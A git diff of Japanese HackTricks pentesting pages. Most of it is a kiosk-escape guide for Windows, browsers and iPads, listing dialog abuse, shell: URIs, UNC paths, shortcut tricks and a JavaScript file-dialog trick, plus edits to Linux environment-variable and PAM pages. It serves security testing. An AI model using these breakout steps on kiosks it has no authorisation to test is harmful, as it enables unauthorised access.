彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
|
||||
## 物理デバイスのチェック
|
||||
## 物理デバイスの確認
|
||||
|
||||
| コンポーネント | アクション |
|
||||
| ------------- | -------------------------------------------------------------------- |
|
||||
| 電源ボタン | デバイスの電源を切って再度入れると、スタート画面が表示される可能性があります |
|
||||
| 電源ケーブル | 電源が一時的に切断されたときにデバイスが再起動するかどうかを確認します |
|
||||
| USBポート | より多くのショートカットを持つ物理キーボードを接続します |
|
||||
| イーサネット | ネットワークスキャンやスニッフィングにより、さらなる攻撃が可能になるかもしれません |
|
||||
| 電源ボタン | デバイスをオフにして再度オンにすると、スタート画面が表示される場合があります |
|
||||
| 電源ケーブル | 電源が一時的に切れたときにデバイスが再起動するか確認する |
|
||||
| USBポート | 物理キーボードを接続してショートカットを増やす |
|
||||
| Ethernet | ネットワークスキャンやスニッフィングによりさらなる悪用が可能になる場合があります |
|
||||
|
||||
|
||||
## GUIアプリケーション内での可能なアクションをチェック
|
||||
## GUIアプリケーション内での可能なアクションの確認
|
||||
|
||||
**一般的なダイアログ**は、**ファイルの保存**、**ファイルの開く**、フォントの選択、色の選択などのオプションです。ほとんどの場合、これらのオプションにアクセスできれば、**完全なエクスプローラ機能**を利用できます。
|
||||
**一般的なダイアログ**は、**ファイルの保存**、**ファイルのオープン**、フォントや色の選択などのオプションです。これらの多くは**完全なエクスプローラー機能を提供します**。これは、これらのオプションにアクセスできれば、エクスプローラー機能にアクセスできることを意味します:
|
||||
|
||||
* 閉じる/閉じるとして保存
|
||||
* 開く/開くとして
|
||||
* 閉じる/名前を付けて閉じる
|
||||
* 開く/別のアプリで開く
|
||||
* 印刷
|
||||
* エクスポート/インポート
|
||||
* 検索
|
||||
* スキャン
|
||||
|
||||
次のことをチェックすべきです:
|
||||
次のことができるか確認してください:
|
||||
|
||||
* ファイルの変更または新規作成
|
||||
* シンボリックリンクの作成
|
||||
* 制限された領域へのアクセス
|
||||
* 他のアプリの実行
|
||||
* 新しいファイルを修正または作成する
|
||||
* シンボリックリンクを作成する
|
||||
* 制限された領域にアクセスする
|
||||
* 他のアプリを実行する
|
||||
|
||||
### コマンドの実行
|
||||
### コマンド実行
|
||||
|
||||
おそらく`開くとして`オプションを使用して、ある種のシェルを開いたり実行したりできるかもしれません。
|
||||
おそらく**`Open with`**オプションを使用して、何らかのシェルを開く/実行することができます。
|
||||
|
||||
#### Windows
|
||||
|
||||
例えば _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ ここでコマンドを実行するために使用できる他のバイナリを見つける: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
例えば_cmd.exe、command.com、Powershell/Powershell ISE、mmc.exe、at.exe、taskschd.msc..._ ここでコマンドを実行するために使用できるバイナリをさらに見つけることができます:[https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
|
||||
#### \*NIX \_\_
|
||||
|
||||
_bash, sh, zsh..._ ここで詳細を確認: [https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||
_bash、sh、zsh..._ さらにこちら:[https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||
|
||||
## Windows
|
||||
|
||||
### パス制限のバイパス
|
||||
### パス制限の回避
|
||||
|
||||
* **環境変数**: 特定のパスを指す多くの環境変数があります
|
||||
* **その他のプロトコル**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
* **環境変数**:いくつかのパスを指している環境変数がたくさんあります
|
||||
* **他のプロトコル**:_about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
* **シンボリックリンク**
|
||||
* **ショートカット**: CTRL+N (新しいセッションを開く), CTRL+R (コマンドを実行), CTRL+SHIFT+ESC (タスクマネージャ), Windows+E (エクスプローラを開く), CTRL-B, CTRL-I (お気に入り), CTRL-H (履歴), CTRL-L, CTRL-O (ファイル/開くダイアログ), CTRL-P (印刷ダイアログ), CTRL-S (名前を付けて保存)
|
||||
* 隠し管理メニュー: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
* **シェルURI**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||
* **UNCパス**: 共有フォルダに接続するパス。ローカルマシンのC$に接続してみてください ("\\\127.0.0.1\c$\Windows\System32")
|
||||
* **その他のUNCパス:**
|
||||
* **ショートカット**:CTRL+N(新しいセッションを開く)、CTRL+R(コマンドを実行)、CTRL+SHIFT+ESC(タスクマネージャー)、Windows+E(エクスプローラーを開く)、CTRL-B、CTRL-I(お気に入り)、CTRL-H(履歴)、CTRL-L、CTRL-O(ファイル/オープンダイアログ)、CTRL-P(印刷ダイアログ)、CTRL-S(名前を付けて保存)
|
||||
* 隠し管理メニュー:CTRL-ALT-F8、CTRL-ESC-F9
|
||||
* **シェルURI**:_shell:Administrative Tools、shell:DocumentsLibrary、shell:Librariesshell:UserProfiles、shell:Personal、shell:SearchHomeFolder、shell:Systemshell:NetworkPlacesFolder、shell:SendTo、shell:UsersProfiles、shell:Common Administrative Tools、shell:MyComputerFolder、shell:InternetFolder_
|
||||
* **UNCパス**:共有フォルダーに接続するためのパス。ローカルマシンのC$に接続してみてください("\\\127.0.0.1\c$\Windows\System32")
|
||||
* **その他のUNCパス:**
|
||||
|
||||
| UNC | UNC | UNC |
|
||||
| ------------------------- | -------------- | -------------------- |
|
||||
|
@ -94,13 +84,13 @@ _bash, sh, zsh..._ ここで詳細を確認: [https://gtfobins.github.io/](https
|
|||
| %TMP% | %USERDOMAIN% | %USERNAME% |
|
||||
| %USERPROFILE% | %WINDIR% | |
|
||||
|
||||
### バイナリのダウンロード
|
||||
### バイナリをダウンロードする
|
||||
|
||||
Console: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
|
||||
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
|
||||
レジストリエディタ: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
|
||||
コンソール:[https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
|
||||
エクスプローラー:[https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
|
||||
レジストリエディタ:[https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
|
||||
|
||||
### ブラウザからファイルシステムにアクセス
|
||||
### ブラウザからファイルシステムにアクセスする
|
||||
|
||||
| PATH | PATH | PATH | PATH |
|
||||
| ------------------- | ----------------- | ------------------ | ------------------- |
|
||||
|
@ -111,25 +101,26 @@ Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](
|
|||
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
||||
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
||||
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
||||
|
||||
### ショートカット
|
||||
|
||||
* スティッキーキー – SHIFTを5回押す
|
||||
* マウスキー – SHIFT+ALT+NUMLOCK
|
||||
* ハイコントラスト – SHIFT+ALT+PRINTSCN
|
||||
* トグルキー – NUMLOCKを5秒間押し続ける
|
||||
* フィルターキー – 右SHIFTを12秒間押し続ける
|
||||
* トグルキー – NUMLOCKを5秒間保持する
|
||||
* フィルターキー – 右SHIFTを12秒間保持する
|
||||
* WINDOWS+F1 – Windows検索
|
||||
* WINDOWS+D – デスクトップを表示
|
||||
* WINDOWS+E – Windowsエクスプローラーを起動
|
||||
* WINDOWS+R – 実行
|
||||
* WINDOWS+U – 利便性センター
|
||||
* WINDOWS+U – アクセシビリティセンター
|
||||
* WINDOWS+F – 検索
|
||||
* SHIFT+F10 – コンテキストメニュー
|
||||
* CTRL+SHIFT+ESC – タスクマネージャー
|
||||
* CTRL+ALT+DEL – 新しいWindowsバージョンのスプラッシュスクリーン
|
||||
* CTRL+ALT+DEL – 新しいWindowsバージョンでのスプラッシュ画面
|
||||
* F1 – ヘルプ F3 – 検索
|
||||
* F6 – アドレスバー
|
||||
* F11 – Internet Explorer内でのフルスクリーンの切り替え
|
||||
* F11 – Internet Explorer内で全画面表示を切り替え
|
||||
* CTRL+H – Internet Explorerの履歴
|
||||
* CTRL+T – Internet Explorer – 新しいタブ
|
||||
* CTRL+N – Internet Explorer – 新しいページ
|
||||
|
@ -138,20 +129,20 @@ Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](
|
|||
|
||||
### スワイプ
|
||||
|
||||
* 左側から右側にスワイプしてすべての開いているウィンドウを表示し、KIOSKアプリを最小化してOS全体に直接アクセスします。
|
||||
* 右側から左側にスワイプしてアクションセンターを開き、KIOSKアプリを最小化してOS全体に直接アクセスします。
|
||||
* 上端からスワイプしてフルスクリーンモードで開いているアプリのタイトルバーを表示します。
|
||||
* 下端からスワイプしてフルスクリーンアプリでタスクバーを表示します。
|
||||
* 左側から右にスワイプしてすべてのウィンドウを表示し、KIOSKアプリを最小化してOS全体に直接アクセスする;
|
||||
* 右側から左にスワイプしてアクションセンターを開き、KIOSKアプリを最小化してOS全体に直接アクセスする;
|
||||
* 上端からスワイプして全画面モードで開いているアプリのタイトルバーを表示する;
|
||||
* 下からスワイプして全画面アプリでタスクバーを表示する。
|
||||
|
||||
### Internet Explorerのトリック
|
||||
|
||||
#### 'Image Toolbar'
|
||||
#### '画像ツールバー'
|
||||
|
||||
画像をクリックすると画像の左上に表示されるツールバーです。保存、印刷、メール送信、エクスプローラーで「マイピクチャー」を開くことができます。KioskはInternet Explorerを使用する必要があります。
|
||||
画像をクリックすると左上に表示されるツールバーです。保存、印刷、メール送信、エクスプローラーで「マイピクチャ」を開くことができます。KIOSKはInternet Explorerを使用している必要があります。
|
||||
|
||||
#### シェルプロトコル
|
||||
|
||||
これらのURLを入力してエクスプローラービューを取得します:
|
||||
エクスプローラー表示を取得するためにこのURLを入力します:
|
||||
|
||||
* `shell:Administrative Tools`
|
||||
* `shell:DocumentsLibrary`
|
||||
|
@ -171,72 +162,72 @@ Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](
|
|||
* `Shell:ControlPanelFolder`
|
||||
* `Shell:Windows`
|
||||
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> コントロールパネル
|
||||
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> マイコンピューター
|
||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> マイネットワークプレイス
|
||||
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> マイコンピュータ
|
||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> マイネットワーク
|
||||
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
||||
|
||||
### ファイル拡張子の表示
|
||||
|
||||
詳細は次のページを参照してください:[https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
詳細についてはこのページを確認してください:[https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
|
||||
## ブラウザのトリック
|
||||
|
||||
iKatバージョンのバックアップ:
|
||||
iKatのバックアップバージョン:
|
||||
|
||||
[http://swin.es/k/](http://swin.es/k/)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
|
||||
|
||||
JavaScriptを使用して共通のダイアログを作成し、ファイルエクスプローラーにアクセスします: `document.write('<input/type=file>')`\
|
||||
出典:https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
JavaScriptを使用して共通のダイアログを作成し、ファイルエクスプローラーにアクセスする:`document.write('<input/type=file>')`\
|
||||
ソース:https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
|
||||
## iPad
|
||||
|
||||
### ジェスチャーとボタン
|
||||
|
||||
* 4本(または5本)の指で上にスワイプ/ホームボタンを2回タップ:マルチタスクビューを表示してアプリを切り替える
|
||||
* 4本または5本の指で片方向にスワイプ:次の/前のアプリに切り替える
|
||||
* 5本の指で画面をつまむ/ホームボタンをタッチ/画面下部から上に素早く1本の指でスワイプ:ホームにアクセス
|
||||
* 画面下部から1-2インチ上に1本の指でゆっくりスワイプ:ドックが表示されます
|
||||
* 画面上部から1本の指で下にスワイプ:通知を表示します
|
||||
* 画面の右上隅から1本の指で下にスワイプ:iPad Proのコントロールセンターを表示します
|
||||
* 画面の左から1-2インチの1本の指でスワイプ:今日のビューを表示します
|
||||
* 画面の中央から右または左に素早く1本の指でスワイプ:次の/前のアプリに切り替える
|
||||
* 上部右隅のOn/**Off**/Sleepボタンを押し続ける + スライドを右まで移動する:電源を切る
|
||||
* 上部右隅のOn/**Off**/Sleepボタンを押し続ける + ホームボタンを数秒押し続ける:強制的に電源を切る
|
||||
* 上部右隅のOn/**Off**/Sleepボタンを押し続ける + ホームボタンを素早く押す:画面左下にポップアップするスクリーンショットを撮影します。両方のボタンを同時に非常に短く押すと、数秒間押し続けるかのようにハードパワーオフが実行されます。
|
||||
* 四本(または五本)の指で上にスワイプ / ホームボタンをダブルタップ:マルチタスクビューを表示し、アプリを変更する
|
||||
* 四本または五本の指で一方向にスワイプ:次の/前のアプリに切り替える
|
||||
* 五本の指で画面をピンチ / ホームボタンをタッチ / 画面の下から1本の指で素早く上にスワイプ:ホームにアクセスする
|
||||
* 画面の下から1本の指で1-2インチスワイプ(遅く):ドックが表示される
|
||||
* 画面の上端から1本の指でスワイプダウン:通知を表示する
|
||||
* 画面の右上隅から1本の指でスワイプダウン:iPad Proのコントロールセンターを表示する
|
||||
* 画面の左から1本の指で1-2インチスワイプ:今日のビューを表示する
|
||||
* 画面の中央から右または左に1本の指で素早くスワイプ:次の/前のアプリに切り替える
|
||||
* 上部右隅の**iPad**の電源ボタン/**オフ**/スリープボタンを押し続け、**電源オフ**スライダーを右にスライドさせる:電源を切る
|
||||
* 上部右隅の**iPad**の電源ボタン/**オフ**/スリープボタンとホームボタンを数秒間押す:強制的に電源を切る
|
||||
* 上部右隅の**iPad**の電源ボタン/**オフ**/スリープボタンとホームボタンを素早く押す:スクリーンショットを撮影し、表示の左下にポップアップします。両方のボタンを同時に非常に短時間押すと、数秒間保持すると強制的に電源が切れます。
|
||||
|
||||
### ショートカット
|
||||
|
||||
iPadキーボードまたはUSBキーボードアダプターを持っている必要があります。アプリケーションからの脱出に役立つショートカットのみがここに表示されます。
|
||||
iPadキーボードまたはUSBキーボードアダプタが必要です。アプリケーションから脱出するのに役立つショートカットのみがここに表示されます。
|
||||
|
||||
| キー | 名前 |
|
||||
| --- | ------------ |
|
||||
| ⌘ | Command |
|
||||
| ⌥ | Option (Alt) |
|
||||
| ⇧ | Shift |
|
||||
| ↩ | Return |
|
||||
| ⇥ | Tab |
|
||||
| ^ | Control |
|
||||
| ← | Left Arrow |
|
||||
| → | Right Arrow |
|
||||
| ↑ | Up Arrow |
|
||||
| ↓ | Down Arrow |
|
||||
| ⌘ | コマンド |
|
||||
| ⌥ | オプション(Alt) |
|
||||
| ⇧ | シフト |
|
||||
| ↩ | リターン |
|
||||
| ⇥ | タブ |
|
||||
| ^ | コントロール |
|
||||
| ← | 左矢印 |
|
||||
| → | 右矢印 |
|
||||
| ↑ | 上矢印 |
|
||||
| ↓ | 下矢印 |
|
||||
|
||||
#### システムショートカット
|
||||
|
||||
これらのショートカットはiPadの視覚設定および音声設定に関連しています。
|
||||
これらのショートカットは、iPadの使用に応じた視覚設定と音設定のためのものです。
|
||||
|
||||
| ショートカット | アクション |
|
||||
| -------- | ------------------------------------------------------------------------------ |
|
||||
| F1 | 画面を暗くする |
|
||||
| F2 | 画面を明るくする |
|
||||
| F7 | 前の曲に戻る |
|
||||
| F7 | 一曲戻る |
|
||||
| F8 | 再生/一時停止 |
|
||||
| F9 | 次の曲にスキップ |
|
||||
| F9 | 曲をスキップ |
|
||||
| F10 | ミュート |
|
||||
| F11 | 音量を下げる |
|
||||
| F12 | 音量を上げる |
|
||||
| ⌘ Space | 利用可能な言語のリストを表示します。選択するには、再度スペースバーをタップします。 |
|
||||
| ⌘ Space | 利用可能な言語のリストを表示;選択するには、スペースバーを再度タップします。 |
|
||||
|
||||
#### iPadナビゲーション
|
||||
|
||||
|
@ -245,53 +236,54 @@ iPadキーボードまたはUSBキーボードアダプターを持っている
|
|||
| ⌘H | ホームに移動 |
|
||||
| ⌘⇧H (Command-Shift-H) | ホームに移動 |
|
||||
| ⌘ (Space) | スポットライトを開く |
|
||||
| ⌘⇥ (Command-Tab) | 最後に使用した10個のアプリをリスト表示 |
|
||||
| ⌘⇥ (Command-Tab) | 最後に使用したアプリのリスト |
|
||||
| ⌘\~ | 最後のアプリに移動 |
|
||||
| ⌘⇧3 (Command-Shift-3) | スクリーンショット(左下にホバーして保存または操作) |
|
||||
| ⌘⇧4 | スクリーンショットを撮影してエディターで開く |
|
||||
| ⌘を押して押し続ける | アプリ用の利用可能なショートカットのリスト |
|
||||
| ⌘⇧3 (Command-Shift-3) | スクリーンショット(保存またはアクションを実行するために左下にホバー) |
|
||||
| ⌘⇧4 | スクリーンショットを撮影し、エディタで開く |
|
||||
| ⌘を押し続ける | アプリのための利用可能なショートカットのリスト |
|
||||
| ⌘⌥D (Command-Option/Alt-D) | ドックを表示 |
|
||||
| ^⌥H (Control-Option-H) | ホームボタン |
|
||||
| ^⌥H H (Control-Option-H-H) | マルチタスクバーを表示 |
|
||||
| ^⌥I (Control-Option-i) | アイテム選択 |
|
||||
| ^⌥I (Control-Option-i) | アイテム選択 |
|
||||
| Escape | 戻るボタン |
|
||||
| → (右矢印) | 次のアイテム |
|
||||
| ← (左矢印) | 前のアイテム |
|
||||
| ↑↓ (上矢印、下矢印) | 選択したアイテムを同時にタップ |
|
||||
| ⌥ ↓ (Option-下矢印) | 下にスクロール |
|
||||
| ⌥↑ (Option-上矢印) | 上にスクロール |
|
||||
| ⌥←または⌥→ (Option-左矢印またはOption-右矢印) | 左または右にスクロール |
|
||||
| ^⌥S (Control-Option-S) | VoiceOverスピーチのオン/オフ |
|
||||
| ⌥ ↓ (Option-Down arrow) | 下にスクロール |
|
||||
| ⌥↑ (Option-Up arrow) | 上にスクロール |
|
||||
| ⌥←または⌥→ (Option-Left arrowまたはOption-Right arrow) | 左または右にスクロール |
|
||||
| ^⌥S (Control-Option-S) | VoiceOverの音声をオンまたはオフにする |
|
||||
| ⌘⇧⇥ (Command-Shift-Tab) | 前のアプリに切り替える |
|
||||
| ⌘⇥ (Command-Tab) | 元のアプリに戻る |
|
||||
| ←+→、次にOption + ←またはOption+→ | ドックを通じてナビゲート |
|
||||
#### Safariのショートカット
|
||||
| ←+→、次にOption + ←またはOption+→ | ドックをナビゲート |
|
||||
|
||||
| ショートカット | アクション |
|
||||
| ----------------------- | ---------------------------------- |
|
||||
| ⌘L (Command-L) | ロケーションを開く |
|
||||
| ⌘T | 新しいタブを開く |
|
||||
| ⌘W | 現在のタブを閉じる |
|
||||
| ⌘R | 現在のタブを更新 |
|
||||
| ⌘. | 現在のタブの読み込みを停止 |
|
||||
| ^⇥ | 次のタブに切り替え |
|
||||
#### Safariショートカット
|
||||
|
||||
| ショートカット | アクション |
|
||||
| ----------------------- | ------------------------------------------------ |
|
||||
| ⌘L (Command-L) | ロケーションを開く |
|
||||
| ⌘T | 新しいタブを開く |
|
||||
| ⌘W | 現在のタブを閉じる |
|
||||
| ⌘R | 現在のタブを更新 |
|
||||
| ⌘. | 現在のタブの読み込みを停止 |
|
||||
| ^⇥ | 次のタブに切り替える |
|
||||
| ^⇧⇥ (Control-Shift-Tab) | 前のタブに移動 |
|
||||
| ⌘L | テキスト入力/URLフィールドを選択して変更 |
|
||||
| ⌘⇧T (Command-Shift-T) | 最後に閉じたタブを開く(複数回使用可能) |
|
||||
| ⌘\[ | ブラウジング履歴で1ページ戻る |
|
||||
| ⌘] | ブラウジング履歴で1ページ進む |
|
||||
| ⌘⇧R | リーダーモードをアクティブにする |
|
||||
| ⌘L | テキスト入力/URLフィールドを選択して修正する |
|
||||
| ⌘⇧T (Command-Shift-T) | 最後に閉じたタブを開く(何度でも使用可能) |
|
||||
| ⌘\[ | ブラウジング履歴で1ページ戻る |
|
||||
| ⌘] | ブラウジング履歴で1ページ進む |
|
||||
| ⌘⇧R | リーダーモードを有効にする |
|
||||
|
||||
#### メールのショートカット
|
||||
#### メールショートカット
|
||||
|
||||
| ショートカット | アクション |
|
||||
| ----------------------- | ------------------------ |
|
||||
| ⌘L | ロケーションを開く |
|
||||
| ⌘T | 新しいタブを開く |
|
||||
| ⌘W | 現在のタブを閉じる |
|
||||
| ⌘R | 現在のタブを更新 |
|
||||
| ⌘. | 現在のタブの読み込みを停止 |
|
||||
| ⌘⌥F (Command-Option/Alt-F) | メールボックス内を検索 |
|
||||
| ショートカット | アクション |
|
||||
| -------------------------- | ---------------------------- |
|
||||
| ⌘L | ロケーションを開く |
|
||||
| ⌘T | 新しいタブを開く |
|
||||
| ⌘W | 現在のタブを閉じる |
|
||||
| ⌘R | 現在のタブを更新 |
|
||||
| ⌘. | 現在のタブの読み込みを停止 |
|
||||
| ⌘⌥F (Command-Option/Alt-F) | メールボックス内を検索 |
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -300,29 +292,19 @@ iPadキーボードまたはUSBキーボードアダプターを持っている
|
|||
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックするための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Linux 環境変数
|
||||
# Linux Environment Variables
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## グローバル変数
|
||||
|
||||
グローバル変数は**子プロセス**によって**継承されます**。
|
||||
|
@ -64,17 +56,17 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
|
|||
* **HISTSIZE** – ユーザーがセッションを終了したときに履歴ファイルに追加される行数。
|
||||
* **HOME** – あなたのホームディレクトリ。
|
||||
* **HOSTNAME** – コンピュータのホスト名。
|
||||
* **LANG** – あなたの現在の言語。
|
||||
* **LANG** – 現在の言語。
|
||||
* **MAIL** – ユーザーのメールスプールの場所。通常は**/var/spool/mail/USER**。
|
||||
* **MANPATH** – マニュアルページを検索するためのディレクトリのリスト。
|
||||
* **OSTYPE** – オペレーティングシステムの種類。
|
||||
* **PS1** – bashのデフォルトプロンプト。
|
||||
* **PATH** – バイナリファイルを実行するためにファイル名を指定するだけで済むすべてのディレクトリのパスを格納します。
|
||||
* **PATH** – バイナリファイルを実行するためのすべてのディレクトリのパスを格納します。ファイル名を指定するだけで、相対パスや絶対パスを使わずに実行できます。
|
||||
* **PWD** – 現在の作業ディレクトリ。
|
||||
* **SHELL** – 現在のコマンドシェルへのパス(例:**/bin/bash**)。
|
||||
* **TERM** – 現在の端末タイプ(例:**xterm**)。
|
||||
* **TZ** – あなたのタイムゾーン。
|
||||
* **USER** – あなたの現在のユーザー名。
|
||||
* **USER** – 現在のユーザー名。
|
||||
|
||||
## Interesting variables for hacking
|
||||
|
||||
|
@ -126,15 +118,10 @@ export SSL_CERT_DIR=/path/to/ca-certificates
|
|||
|
||||
![](<../.gitbook/assets/image (715).png>)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,30 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **盗難マルウェア** によって **侵害** されているかどうかを確認するための **無料** 機能を提供します。
|
||||
|
||||
WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料** でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### 基本情報
|
||||
|
||||
**PAM (Pluggable Authentication Modules)** は、**コンピュータサービスにアクセスしようとするユーザーの身元を確認する** セキュリティメカニズムとして機能し、さまざまな基準に基づいてアクセスを制御します。これはデジタルゲートキーパーのようなもので、認可されたユーザーのみが特定のサービスに関与できるようにし、システムの過負荷を防ぐために使用を制限することがあります。
